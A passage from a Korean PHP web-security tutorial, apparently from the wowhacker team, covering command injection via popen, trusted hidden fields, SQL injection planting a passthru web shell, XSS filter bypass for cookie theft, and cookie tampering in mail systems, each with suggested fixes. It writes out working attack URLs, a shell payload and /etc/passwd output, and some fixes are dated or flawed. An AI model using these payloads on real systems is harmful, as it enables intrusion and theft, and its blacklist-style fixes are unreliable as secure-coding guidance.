    접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
    가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

    그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
    수고를 하게 할 수 있다.

    잘못된 알고리즘

    여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
    return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
    이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
    다음과 같이 하자.

    $member=mysql_fetch_array(mysql_query("select * from $member_table where
    user_id='$cookie_userid' and password='$cookie_password'"));
    if(!$member)
    {
    echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
    exit;
    }

    Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
    하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.

    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    10) CGI admin 메뉴 주의할점

    이번에는 Web CGI 에서 Admin 메뉴를 다룰 때 주의해야 할 점들을 설명
    하겠다. Web CGI 에는 대부분 Admin 메뉴 (혹은 기능이) 가 존재한다.
    간단하게 방명록, 자료실부터 시작하여 자료 관리 같은 기능이라던지 여러
    CGI 에는 Admin 메뉴가 거의 필수이다.

    Admin 을 인증하는 방법에는 어떤 것이 있을까. 각 Page 의 앞부분에 Admin
    인지 아닌지 체크하는 문법을 넣을 것이다. (조금 더 자세한 인증 방법은
    8 번 장을 참고하여라)

    다음은 Admin 알고리즘 사용시 주의해야 할 것들이다.

    1. Admin Cookie 세팅시에 암호화 사용
    2. IP 를 가져와 인증에 사용
    3. Cookie Sniffing 못하게 막음

    위의 조취를 취했는데도 Cracker 가 Admin 을 획득하였을때에 대한 대비를
    알아보겠다.

    Cracker 가 Admin 을 땄어도 Cracker 가 할 수 있는 일을 최소화 시켜야
    한다. 즉, 본래의 CGI Admin 으로서 불필요한 기능은 CGI 에 넣지 말라는
    것이다.

    예를 들어 Board 에서 Header 와 Footer File 지정에 대해서 알아보자.
    (이 것은 게시판의 머리말과 꼬리말에 들어갈 말을 미리 File 로 정해
    놓는 기능이다.)

    대부분의 Board 에서는 이런 식으로 처리한다.

    include "$header_file";

    (여기서 $header_file 은 Admin 이 Web 상에서 지정해줄 수 있다고 가정한다.)

    만약 Cracker 가 Admin 을 획득 후 header_file 을 /etc/passwd 로 지정
    한다면 게시판의 머리말에는 해당 Server 의 passwd File 이 그대로 보이게
    될 것이다.

    그리고 Cracker 가 악의적인 기능을 하는 일반 Text File 을 올린 후, 그것을
    include 하면 그것은 정상적으로 돌아가는 PHP File 이 된다.
    (include 시에 제한하는 확장자는 없다는 것을 알아두자.)

    이러한 문제점을 극복하려면 어떻게 해야할까.

    $fp=fopen("$header_file", "r");

    while(!feof($fp))
    {
    $msg .= fgets($fp,100);
    }

    $msg=nl2br($msg);

    echo $msg;

    위의 방법에서는 Source 를 include 하지 않고, read 한 후 echo 를 하는 방법을
    사용하였다. (물론 이렇게 하였을때 정상적인 php 파일을 include 하면, 돌아가지
    않는다는 단점이 있다.)

    이러한 Admin 기능 말고도 제한하여야 할 기능들은 많이 있다. 가령, Web Root
    Directory 밖은 벗어나지 않게 한다던지, System Command 를 이용할 수 없게끔
    한다던지 하는 것들이 있다.

    여기에서는 Board 를 예를 들어서 설명을 하였는데, 개발자라면 이 글을 보고
    Admin Menu 에 어떤 기능을 제한해야 할것인가, 어떻게 하면 Server 의 다른 부분
    에 접근하는 것을 최소화 할 것인가, 하는 방법들을 떠올릴 수 있을 거라 생각하고
    이 장을 여기서 접겠다.










    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    11) popen 함수의 주의할점

    PHP 에서 popen() function 은 Process File Pointer 를 open 하는 것이다.
    함수의 원형은 다음과 같다.

    int popen(string command, string mode);

    fopen 함수와 다른 점은 이 것은 file 이 아닌 Process 를 open 한다는 것이다.
    (물론 OS 내부적으로는 File 이나 Process 나 크게 다르지 않게 처리된다.)
    그리고 읽거나 쓰기 둘중에 하나만 선택할 수 있는 단방향 Pointer 이다.

    string command 를 인자로 popen 을 불르면 command 안에 담긴 내용을 Server 에서
    실행하게 된다. 하지만 이 Function 역시 system, exec 함수와 같이 잘못 사용할시에는
    서버에 심각한 Security Hole 을 만들게 한다.

    실제로 존재하는 CGI 의 취약성을 대상으로 설명을 하겠다. engdic 이라는
    프로그램으로 Web 에서 영어사전 기능을 하는 프로그램이다.

    engdic 에서 중요 취약성이 되는 부분만을 뽑아내어 설명하였다.

    engdic.php

    1 if($mode== 'search')
    2 {
    3 // $word를 아규먼트로 하여 edic을 실행하여 결과값을 $fp 에 저장합니다.
    4 $fp = popen( "/usr/bin/edic_ $word", "r");
    5
    6 // $fp 의 EOF를 만날때까지 값을 읽어들여 edic_str 에 추가를 합니다.
    7 while(!feof($fp))
    8 {
    9 $edic_str .= fgets($fp,100);
    10 }
    11 pclose($fp);
    12 // return 값을 <br> 로 바꾼다.
    13 $edic_str = nl2br($edic_str);
    14 // 화면에 출력을 한다.
    15 echo( "
    16 <table border='0' cellpadding='2' cellspacing='0' width='70%'>
    17 <tr>
    18 <td width='90%'><p><br>
    19 <font size='2'>$edic_str</font></td>
    20 </tr>
    21 </table>");
    22 }

    /* 쉽게 설명하기 위해 각 줄의 앞에 번호를 달았다. 처음 if 문은 무시하자.
    4 번째 라인에서 popen 함수를 이용하여 /usr/bin/edic 프로그램을
    open 하려 했다. edic 프로그램의 argument 를 $word 라는 변수로 주었다.
    7 번째 줄부터는 popen 으로 연 pointer 를 $edit_str 에 담고 출력한다. */

    위의 코드에서 취약한 부분은 4 번째 줄이다. popen 을 할때 /usr/bin/edic 을
    실행시키는데 $word 가 인수로 들어가게 된다. $word 는 사용자로부터 입력받는
    변수이다. 예를 들어 검색폼에 사용자가 help 라고 한다면, help 에 맞는 뜻을
    사용자에게 돌려주게 된다. /usr/bin/edic 을 이용하여 help 의 뜻을 검색하는
    것이다. process open 은 shell 을 이용하게 된다. shell 에서 ; 와 | 는 각각
    연속 실행, 연결 실행을 의미한다.

    그래서 만약에 cracker 가

    http://server/engdic.php?word=help;/usr/bin/touch /tmp/imbeist

    라고 요청을 한다면 help 라는 단어를 /usr/bin/edic 에서 찾고 세미콜론으로
    구분된 뒤의 /usr/bin/touch /tmp/imbeist 를 실행하게 된다. /usr/bin/touch
    의 기능은 그 file 의 갱신일을 갱신하는 기능인데 만약에 file 이 없다면
    파일을 새로 생성하게 된다. 그러면 파일이 생겼는지 확인을 해보자.

    $ ls -al /tmp/imbeist
    -rw-rw-rw- 1 nobody nobody 6 Dec 5 03:25 imbeist

    생성이 되었다. cracker 는 서버에 명령을 실행시킬 수 있으므로 자신에게
    term 을 뛰우던가 port 를 하나 열어서 backdoor 를 만들수도 있을 것이고
    일단 shell 을 내준 이상 local 을 점령하는건 그리 어려운 일은 아니다.

    해결책을 알아보자.

    위의 해결책에는 여러가지 방법이 있다. 위의 상황일때는 앞에 escape 문자를
    붙여서 세미콜론을 무시하는 방법도 있겠지만 나는 다른 방법을 추천한다.

    예를 들어 $word 변수에는 ; 와 | 가 있을 이유가 없다. (단어에 ; 나 | 가
    들어가는 단어가 있는가?)

    그래서 $word 변수에 ; 와 | 가 있다면 일단 의심을 해야한다. 만약에 두
    문자가 존재한다면 script 실행을 중지하자면

    if(ereg(";", $word))
    {
    echo "장난하니..";
    exit;
    }

    if(ereg("|", $word))
    {
    echo "장난하니..";
    exit;
    }

    ereg_replace 를 이용하여 ; 나 | 를 "" 빈칸으로 만드는 방법도 괜찮다.
    나는 개인적으로 이러한 문제를 처리할때 미연에 방지하는 것이 (예를 들면
    스크립트 중지) 좋은 방법으로 생각한다.




    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    12) html hidden 사용시 주의할점

    이번 주제에서 다룰 내용은 HTML 에서 hidden type 에 관한 내용이다.
    때때로 어떤 CGI 들은 <input type=hidden> 을 이용하여 어떤 DATA 를 숨겨(?)
    놓는 경우가 있다. 이는 매우 위험한 방법이고 어떤 경우에는 심각한 Security
    Hole 을 일으킬 수도 있다.

    먼저 간단한 경우부터 살펴보자.

    Spboard 4.5 버전 이하에서는 글쓴이의 IP 를 입력받을 때 사용자가
    writeform 을 요청했을때의 IP 를 기준으로 hidden 에 심어놓는다.
    (아래에서 설명하는 소스들은 BUG 를 설명하는데 이해하기 쉽도록 PHP 로
    바꿔서 설명하였다.)

    sample1.html

    <html>
    <head>
    <title>spboard 글쓰기 폼</title>
    </head>
    <body>
    <form action=board.php method=post ENCTYPE="multipart/form-data">
    <input type=text name=name>
    <input type=text name=subject>
    <textarea name=comments></textarea>
    <input type=hidden name=id value=test>
    <input type=hidden name=action value=write>
    <input type=hidden name=ip value=192.168.0.5>
    <input type=submit value=글쓰기>
    </form>
    </body>
    </html>

    board.php

    <?

    /* 생략 */

    $fp=fopen("$count.txt", "w");

    fputs($fp, $ip);

    /* 생략 */

    ?>

    html 에서 보다시피 ip 가 hidden 으로 들어가 있다. 이런 상황일때 Cracker 는
    임의로 ip 에서 value 값을 수정하여 board.php 로 데이터를 보낸 후 글쓰기를
    시도할 수 있을 것이다. board.php 에서는 사용자가 넘긴 변수인 $ip 를 가지고
    data 를 처리하기 때문이다.

    만약 ip 를 국가기관쪽으로 돌려서 나쁜 내용의 글을 쓴다거나 악의적인 행동을
    할수도 있을 것이다. 이런 버그의 류에서 이 방법은 애교에 불과하다.

    어떤 경우에 따라서는 System Command Execute 까지 가능한 심각한 Security
    Hole 을 불러올 수도 있다.

    그럼 이번엔 다른 경우를 알아보자.

    예를 들어 포탈 사이트에서 쪽지 기능을 하는 경우로 하자. 이 포탈 사이트에서는
    쪽지 database 를 File db 를 사용하고 있다고 가정하자.

    쪽지 보내기 html form 을 보자.

    <html>
    <head>
    <title>이 것은 쪽지 보내기 폼입니다.</title>
    <body>
    <form action=memo.php method=post>
    받는이 : beist<br>
    쪽지 내용 : <textarea name=comment></textarea><br>
    <input type=hidden name=directory value="user/memo">
    <input type=hidden name=rfile value="recv.txt">
    <input type=hidden name=ruid value=11111111>
    <input type=hidden name=rserver value=memo1.server>
    <input type=hidden name=rid value=beist>

    <input type=hidden name=suid value=22222222>
    <input type=hidden name=sserver value=memo2.server>
    <input type=hidden name=sid value=testid>
    <input type=hidden name=sfile value="send.txt">
    <input type=submit value=쪽지보내기>
    </form>
    </body>
    </html>

    Hacker 나 Cracker 라면 이 소스를 보고 무엇인가 감을 잡았을 것이다. hidden
    으로 이런 정보를 보내는 것으로 보아 memo.php 에서는 hidden 에서 보내는 값을
    신뢰하여 쪽지 data 를 처리하는 것이라고 말이다.

    한번 테스트를 해보자.

    [요청]
    http://memo1.server/user/memo/11111111/recv.txt

    [결과]
    beist 님 안녕하세요?
    승진 안녕?
    야 임마~

    예상대로이다. hidden data 에 있는 rserver 로 접근을 하고, directory 와
    ruid 에 있는 대로 접근을 하니까 우리는 상대방의 쪽지를 볼 수도 있었다.
    (여기서는 이해를 쉽게 하기 위해 hidden data 에 최대한 많은 정보를 수용
    하게끔 소스를 작성한 것이고, 실제로는 저렇게 자세한 정보를 포함하지는
    않지만 조금만 연구하면 위의 테스트와 같은 결과를 얻을 수 있다.)

    또 send.txt 를 요청하면 상대방이 다른 사람에게 보낸 메모들이 어떤 내용이
    있는지 알 수 있을 것이다.

    [요청]
    http://memo1.server/user/memo/11111111/send.txt

    [결과]
    나 승진인데~ 요즘 잘지내니?
    야 임마~ 연락좀 해~!

    성공이다. 상대방의 send.txt 와 recv.txt 를 보는 방법이외에도 suid 나
    sid 등을 조작하여 내가 보내지 않은 것처럼 위조도 가능할 것이다.

    또, rfile 이나 sfile 을 조작하여 시스템의 다른 file 들도 read, write 가
    가능할 것이다. (권한만 가능하다면 말이다.)

    조금 더 응용을 하여보면 System Command Execute 까지 어렵지 않게 가능하지만
    이 문서는 Cracking 방법이 아니니 여기서 설명을 접도록 하겠다. 간단히 설명
    하자면 rfile 을 바꾼 후에, memo 내용에 악의적인 스크립트의 내용을 담으면
    되겠다.

    해결책을 알아보자.

    우리는 이런 버그를 통해서 hidden 에 중요한 data 를 넣으면 보안에 심각한
    문제가 발생할 수도 있다는 것을 알아보았다.

    이 문제를 해결하는 가장 좋은 방법은 다음과 같은 인식을 갖는 것이다.

    '사용자가 보내온 data 를 100% 신뢰하지 말아라.'

    첫번째 spboard 같은 경우에는 board.php 에서 다음과 같이 수정하면 될 것이다.

    <?

    /* 생략 */

    $ip=$REMOTE_ADDR;

    $fp=fopen("$count.txt", "w");

    fputs($fp, $ip);

    /* 생략 */

    ?>

    $REMOTE_ADDR 은 환경변수로, 접속한 사용자의 IP 를 뜻한다.

    두번째 쪽지 문제의 경우 해결법을 살펴보자.

    먼저, hidden 에서 directory 와 rfile, sfile 는 사용자 html hidden 으로 주지
    말고 memo.php 에서 정의해두자.

    $directory="user/memo";
    $rfile="recv.txt";
    $sfile="send.txt";

    이렇게 해두면 rfile 과 sfile 은 사용자 마음대로 바꿀수 없게 될 것이다.

    그리고 보내는이에 대한 모든 data 는 Cookie 나 Session 을 이용하도록 하자.
    Session 에 사용자의 id 나 uid 를 저장시켜놓은 후에 가져오는 것이다.

    rserver 는 다음과 같은 문법 등으로 database 에서 가져오도록 하자.

    select rserver from user_rserver;

    이렇게 하면 보내는 이나 받는 이에 대한 정보 조작은 어느 정도 해결이 될 것
    이다. 이렇게 하면 cracker 는 쪽지에 대한 경로를 모를 것이다. 하지만
    cracker 가 쪽지에 대한 경로를 brute force 라도 해서 알아버렸다고 가정하였을때
    의 대처법도 알아보자.

    먼저 쪽지 내용이 담기는 file 이 놓인 디렉토리에 특정 설정을 한다. 그 설정이란
    httpd.conf 에서 그 디렉토리 밑에 있는 것은 읽지 못하도록 설정하는 것을 말한다.
    (httpd.conf 는 Webserver 의 한 종류인 Apache 의 설정 File 을 말한다.)

    httpd.conf

    <DirectoryMatch "^/.*/user/memo">
    AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
    .html .htm .shtml .vbs .ins .inc .py

    Options FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all
    </DirectoryMatch>

    이렇게 하면 user/memo 디렉토리 밑에 담기는 file 들은 Web 에서 바로 읽을 수가
    없게된다.

    [요청]
    http://memo1.server/user/memo/11111111/recv.txt

    [결과]
    Forbidden

    You don't have permission to access /user/memo/11111111/test.txt on this server.

    Web 에서 바로 읽을 수 없게 설정을 해놓았으니 특정 스크립트를 만들어서 File 을
    뿌려주도록 하자.

    if(file_exists($file_path))
    {
    $filesize = filesize($file_path);

    if(strstr($HTTP_USER_AGENT,"MSIE")) {
    header("Content-Type: doesn/matter\r\n");
    header("Content-Disposition:filename=$filename_link\r\n\r\n");
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");
    }

    else
    {
    Header("Content-type: application/zip");
    Header("Content-Disposition:attachment;filename=$filename_link");
    Header("Content-Description: PHP Generated Data");
    Header("Content-Length: $filesize");
    header("Pragma: no-cache");
    header("Expires:0");
    }

    $fp = fopen($file_path, "r");
    fpassthru($fp);
    }

    위의 각 변수에 대해서 특별한 설명은 하지 않겠다. 각 변수의 이름을 보고 이 변수가
    어떤 기능을 하는 변수인지 짐작할 수 있을 것이다. 중요한 부분은 fopen 과 fpassthru
    가 쓰인 부분이다. fopen 으로 file 을 연후에 fpassthru 로 file 의 끝까지 뿌려주게
    된다.

    이상이 해결책이다. 다시 한번 강조하지만 Client 가 보내는 Data 는 100% 신뢰해서는
    안된다.
    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    13) sql 과 cgi 연동시 주의할점

    이번 장에서는 SQL 과 CGI 연동 시에 일어날 수 있는 문제점을
    알아보겠다. SQL 은 Structured Query Language 의 약자로 구조적 질의어를
    뜻한다. SQL 은 Database 의 한 종류인데 WEB CGI 를 만들때 가장 많이
    쓰이는 Database 중의 하나이다.

    SQL 을 통해서 CGI 는 정보를 조회하거나, 갱신, 추가, 삭제를 할 수가
    있다.

    SQL 에는 database 와 그 안에 존재하는 table 이 있다. 예제로 beist 라는
    database 의 ttl 이라는 table 에 접근하는 방법을 알아보자.

    1 <?
    2
    3 $dbhost = "localhost";
    4 $dbuser = "uesr1";
    5 $dbpass = "passman";
    6 $dbname = "beist";
    7 $dbconn = mysql_connect($dbhost, $dbuser, $dbpass);
    8 $sel = mysql_select_db($dbname, $dbconn);
    9 $result = mysql_query("show tables", $dbconn);
    10 $i=0;
    11 while ($row=mysql_fetch_row($result)) {
    12 echo "$row[$i]<br>";
    13 $i++;
    14 $i=0;
    15 }
    16
    17 ?>

    간단한 내용이지만 잠시 문법을 살펴보겠다. 3~6 번째 줄까지 변수 정의를
    하고 7 번째 줄에서 mysql 에 연결을 하였다. 8 번째 줄에서 beist 라는
    database 를 선택하였고, query 의 내용을 show tables 라고 보내었는데
    이 내용은 beist 라는 database 안에서 존재하는 table 들을 보여달라는
    이야기이다.

    11 번째 줄부터는 show tables query 를 보낸 후에 나온 결과를 뿌려준다.

    [결과]
    testta
    secret
    id1
    tabtab
    ttl
    ...........

    ttl 이라는 table 이 보인다. 이 정도로 Database 연동 방법을 간단하게
    알아보았고, 이제 실질적인 해킹 방법을 알아보자.

    어떤 Board 가 있다. Board 에서는 특정 글의 데이터를 요청하는 문법으로

    select * from freeboard where no=1

    이런 식으로 전달한다. 이 문법은 freeboard table 안에 있는 data 중
    no 필드가 1 인 것을 모두 알려달라는 의미이다. query 를 한 후 가져온
    data 에 대해서는 정렬이나 기타 필요한 일들을 한 후에 사용자에게
    알맞게 보여주게 된다.

    SQL 에서 where 절에 쓸 수 있는 것은 or 와 and 등이 있다. 예를 들어서

    select * from freeboard where no=1 or no=2

    라고 전달하면 no 값이 1 이나 2 인 것을 알려달라고 하는 것이다. 다시
    말하면 두 개의 값을 동시에 요청한 것이다.

    이제 실제 CGI 를 예로 들고 공격 방법을 알아보자.

    Jsboard 에서는 Client 가 특정 글을 요청할때 다음과 같은 문법으로
    검사를 한다.

    $field0 = "*";
    $field1 = "no";

    SELECT $field0 FROM $table WHERE $field1 = $no

    (만약 해당 글이 없으면 Error 메세지를 뿌려줄 것이다.)

    위의 Query 문의 기능은 $no 변수에 맞는 값을 요청하는 것이다. select
    문의 where 절에서는 into outfile 을 쓸 수가 있다.

    예를 들어서 database 연결을 거친 후 다음과 같은 query 를 보냈다고
    하여보자.

    select * from ttl where no=1 into outfile '/tmp/test1.txt';

    라고 하면 ttl table 안에 있는 값중 no=1 인 것을 /tmp/test1.txt 로
    저장한다는 뜻이 된다. 우리는 into outfile 을 이용해서 여러 가지
    hacking 을 시도할 수가 있다.

    먼저 Jsboard 에 글을 쓰자. 글의 본문에

    <?
    passthru($beist);
    ?>

    위와 같은 내용을 써서 정상적으로 글을 올리자. 그리고 자신이 쓴 글이
    몇번의 no 를 가지는지 알아보자. 만약 no 가 444 라고 한다면 다음과
    같이 요청을 하자.

    http://server/jsboard/read.php?table=test&no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php'

    위와 같이 요청을 하면 실제로는

    select * from test where no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php';

    이렇게 전달이 될 것이다. 444 안에는 passthru Function 이 담겨있으니
    test.php 를 이용하여 우리는 Server 에 System Command 를 실행시킬 수
    있을 것이다.

    [요청]
    http://server/jsboard/data/test/files/test.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    passwd 파일을 볼수 있다.

    위의 공격 방법에는 단점이 있다. 위의 경우는 php.ini 에서 magic_quotes_
    sybase 를 Off 로 해두면 ' 나 " 앞에 Escape 문자가 붙는데 이렇게 되면
    Sql Qeury 시에 Error 가 나서 공격이 성공하질 않는다.

    하지만 다양한 Query 변조를 시도하여 ' 나 " 를 사용하지 않고도 Hacking
    을 한다던지, 아니면 ' 와 " 앞에 Escape 문자가 붙지 않도록 한다던지하는
    방법등은 나오게 될 것이다.

    꼭 위의 방법 말고도 여러 가지 방법으로 Data 를 조작하거나 System 에
    피해를 입히는 방법은 많이 있을 것이다. 이 방법은 Query 변조를 이용한
    공격의 한가지 방법을 보여준 것이다.

    (asp 와 ms-sql 시의 연동시에 Hacking 은 mysql 과 php 연동시보다 조금
    더 유연하고 편하게 할 수 있다. 원리는 같으므로 설명하지 않겠다.)

    해결책을 알아보자.

    위의 경우 $no 변수에 들어갈 값을 Check 해야 할 것이다. $no 변수에는
    숫자 말고 다른 변수가 들어갈 이유가 없다.

    다음과 같이 $no 에 영문자가 들어가 있는지 검사를 하자.

    if(eregi("^[a-z]", $no))
    {
    echo "no 에는 영문자가 들어갈수가 없습니다.";
    }

    하지만 어떤 query 에는 영문자가 들어가야 하는 경우도 있을 것이다.
    그럴 경우의 대처 방법은 query 를 보낼때 ' 와 " 를 이용하 변수를 묶는다.

    read.php

    select * from test where no='$no'

    라고 했을때 read.php?no=1 or no=2 라고 입력하여도 실제로는

    select * from test where no='1 or no=2'

    라고 입력되는 것이다.

    하지만 이 방법은 magic_quotes_sybase 가 On 으로 되어있으면

    read.php?no=1' or no='2

    이런 식으로 요청하면 무용지물이 된다.

    그렇지만 Off 로 되어있을때 ' 나 " 로 묶지 않는다면 Cracker 가 자료를
    변조하기가 더 쉬워질 것이므로 모든 Query 문의 변수에는 ' 나 " 로
    묶도록 하자.


    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    14) 메일 서비스 회사의 알고리즘 문제

    이번 장에서는 메일 서비스를 하는 Site 들의 잘못된 알고리즘 사용으로
    인한 Hacking 취약성에 대해서 알아보겠다.

    먼저 Hacking 에 취약한 잘못된 알고리즘에 대해서 알아보기 전에 Cookie
    를 훔쳐오는 또 다른 방법에 대해서 알아보자.

    Cookie Sniffing 은 한때 Issue 가 되었던 Hacking 방법으로 대부분의
    포탈 사이트에서 Cracker 가 마음만 먹으면 Cookie 를 다른 사용자로부터
    쉽게 가져올 수 있다. 보안계에 Issue 가 되고 나서 Cookie Sniffing 에
    대한 대책으로 다음과 같은 방법이 나오고, Site 나름대로 Patch 를
    하였다.

    1. Cookie Sniffing 에 사용되는 Java-script 문자열을 필터링 한다.
    2. <script> 를 필터링 한다.
    3. java-script 를 필터링 한다.
    4. 기타등등

    (일반적인 Cookie Sniffing 방법에 대해서는 8 번 장을 참고하라)

    위와 같은 조취를 취하면 일반적인 Cookie Sniffing 은 할 수 없을 것이다.
    왜냐하면 예를 들어서

    <script language=java-script> 라는 문자열이

    <x-script language=java-script> 등으로 바뀌어서 사용자의 Web Browser가
    이 것을 Java-script 라고 인식을 하지 못하기 때문이다.

    하지만 Script 는 Script 자신을 Java-Script 라고 명시를 하지 않아도 사용
    할 수 있는 방법이 있으며, 꼭 <script> 로 시작하지 않아도 가능하다.

    첫번째에는 Visual Basic Script 인 vbscript 를 사용할 수 있으며 두번째는
    일반적인 html 태그 사이에 Java-Script 를 끼워 넣으면 된다.

    첫번째 방법은 <script> 문자열을 필터링하니 <script language=vbscript>
    이런 식으로 사용 할수가 없으므로 두번째를 사용하겠다.

    어떤 식으로 가능한지 살펴보자.

    <a href=tt.html o-nclick=alert("haha")>keke</a>

    위의 태그는 tt.html 이라는 파일에 대한 Link 태그이다. 그런데 중간에
    보면 o-nclick 이라는 것이 있다. 이 것은 Java-Script 의 한 종류로써 keke
    를 마우스로 클릭했을때 haha 라는 내용의 창을 띄우게 된다.

    여기서 분명히 Java-script 를 사용했지만 Java-script 라고 명시한 적은
    없다. 인터넷 익스플로러는 기본적으로 사용할 Script 에 대한 이름을
    특별히 명시하지 않으면 자동으로 인식한다. 그래서 java-script 라고
    명시를 하지 않았어도 사용이 가능했던 것이다.

    Cookie 를 다른 곳으로 전송하고, 그것을 저장하는 방법은 8 장에 대해서
    자세히 설명을 하였으니 이 방법에 그것을 응용하면 Cookie Sniffing 은
    어렵지 않게 가능할 것이다.

    Java-script 에는 O-nclick 말고도, On-MouseMove, On-load, OnUnload 등
    여러가지 Action 이 많기 때문에 HTML 태그에 맞추어서 알맞게 넣는다면
    Cracker 는 쉽게 사용자의 Cookie 를 가져올 수가 있다.

    이제 Cookie Sniffing 에 대한 내용은 접도록 하고, 이 장의 가장 중요한
    내용인 메일 서비스 CGI 의 알고리즘 취약성에 대해서 알아보자.

    많은 Mail CGI 에서 Cookie 를 다룰 때 잘못된 방식을 다뤄 심각한
    Security Hole 을 만들어 낸다.

    일반적으로 사용자가 메일 CGI 를 이용하기 위해 Login 하고, 그것을
    이용하는 절차를 알아보면,

    1. Mail Site 접속
    2. Login 시도
    3. Server 에서 ID, PASSWORD 가 맞는지 확인
    4. 맞다면 사용자의 Browser 에 Cookie 를 세팅함

    Server 에서 Browser 에 세팅한 Cookie 덕분에 사이트의 어떤 페이지를
    읽을 때마다 Login 을 해야하는 수고를 덜을 수 있는 것이다.

    먼저, Server 에서 Client 의 Web Browser 에 세팅하는 Cookie 값이
    다음과 같다고 하자.

    id=beist; pw=ttl; mail_home=/mailserver1/b/beist

    사용자가 위의 Cookie 값을 받고, 편지 읽기를 시도한다고 가정하였을때
    Server 는 Client 의 Cookie 를 읽어와서, id 와 pw 가 맞는지, 그리고
    mail_home 값을 가져와서 해당 디렉토리에 맞게 편지들을 보여준다.

    mail.php

    1 <?
    2
    3 $id=$HTTP_COOKIE_VARS[id];
    4 $pw=$HTTP_COOKIE_VARS[pw];
    5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
    6
    7 $conn=mysql_connect("localhost", "maildb", "mailpw");
    8 mysql_select_db("maildb", $conn);
    9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw'"));
    10
    11 if(!$temp[0])
    12 {
    13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
    14 exit;
    15 }
    16
    17 system("ls -al $mail_home");
    18 ?>

    이해를 돕기 위해 위 Script 는 임시로 만든 것이다. Client 가 전해온
    Cookie 값을 가져오고 now_connect table 에 Cookie 값에 맞는 사용자가
    있는지 확인한다. 만약 없다면, Script 실행을 중지할 것이다.

    정상적인 사용자라면 system 함수를 이용하여 Client 가 전해온 mail_home
    쿠키값을 ls 한다.

    (mail_home Directory 밑에는 사용자의 편지가 담겨있다고 가정한다.)

    실제로 Cookie 가 Server 에 어떤 식으로 전달이 되는지 알아보면

    [요청]
    $ telnet server 80
    Trying server...
    Connected to server.
    Escape character is '^]'.
    get http://server/mail.php HTTP/1.0
    Cookie: id=beist; pw=ttl; mail_home=/mailserver1/b/beist

    [결과]
    1. yo! man!
    2. [광고] 노트북 10 원!
    3. [광고] 벤츠가 10 원! 선착순 천만명!
    4. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
    5. [뉴스] CF 모델 임은경. 이승진이라는 고교생과 스캔들

    (실제 Mail CGI 의 소스는 이렇지 않지만 여기서는 최대한 간결화했다.)

    여기서 취약성이 존재한다. 일단 id 와 pw 만 정상적으로 인증을 한다면
    mail_home 은 Client 가 보내주는 data 는 전적으로 신뢰하는 것이다.
    그래서 여기서는 ttl 이라는 가상의 계정을 하나 더 만들었고 쿠키값은
    다음과 같다.

    id=ttl; pw=beist; mail_home=/mailserver1/t/ttl

    beist 라는 계정을 가진 Cracker 가 ttl 이라는 계정을 가진 사용자의
    e-mail 을 훔쳐읽는 방법은 다음과 같다.

    [요청]
    $ telnet server 80
    Trying server...
    Connected to server.
    Escape character is '^]'.
    get http://server/mail.php HTTP/1.0
    Cookie: id=beist; pw=ttl; mail_home=/mailserver1/t/ttl

    [결과]
    1. 임은경 누나 너무 귀여워요
    2. 은경아 나 매니저다
    3. [광고] 50 억을 벌 수 있습니다
    4. [광고] 40 억을 벌 수 있습니다
    5. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보

    분명히 id 는 beist 로 넣었지만 결과는 ttl 이라는 계정을 가진 사용자의
    메일로 나오게 되었다. 이유는 Cracker 가 mail_home cooke 를 보낼때
    자신의 Cookie 가 아닌 ttl 계정의 Cookie 를 보내었기 때문이다.

    mail.php 에서 사용자의 id 와 password 가 올바른지 검사를 하긴 하지만
    사용자가 보내온 mail_home cookie 를 가지고 메일 리스트를 뿌려주니까
    일어난 취약성이다.

    mail_home 경로를 알아내는 방법에 대해서.

    mail_home 의 경로는 메일 서비스 회사마다 다르게 처리한다. 어떤 곳은
    위에서 설명한 예와 같이 간단한 경로를 사용하여 Cracker 가 쉽게 유추
    할수 있지만 어떤 곳은 복잡한 방법을 사용하기도 한다. (하지만 brute
    force 를 시도해볼만하다. 대부분의 경우의 수가 천문학적인 단위가
    아니이기 때문이다.) 가장 편한 방법은 Cookie Sniffing 으로 빼오는
    것인데, 한번만 가져온다면 Cookie 를 도둑맞은 사용자가 아무리 비밀번호를
    바꾸어도 Cracker 는 평생 그 사용자의 mail 을 읽을 수 있을 것이다.

    해결책을 알아보자.

    이에 대한 해결책은 mail_home 을 now_connect table 에 넣는 것이다.
    그래서 매 페이지마다 인증을 할시에 id, pw, mail_home 이 같이 일치하는
    정보가 없으면 올바르지 않은 사용자로 간주하는 것이다.

    1 <?
    2
    3 $id=$HTTP_COOKIE_VARS[id];
    4 $pw=$HTTP_COOKIE_VARS[pw];
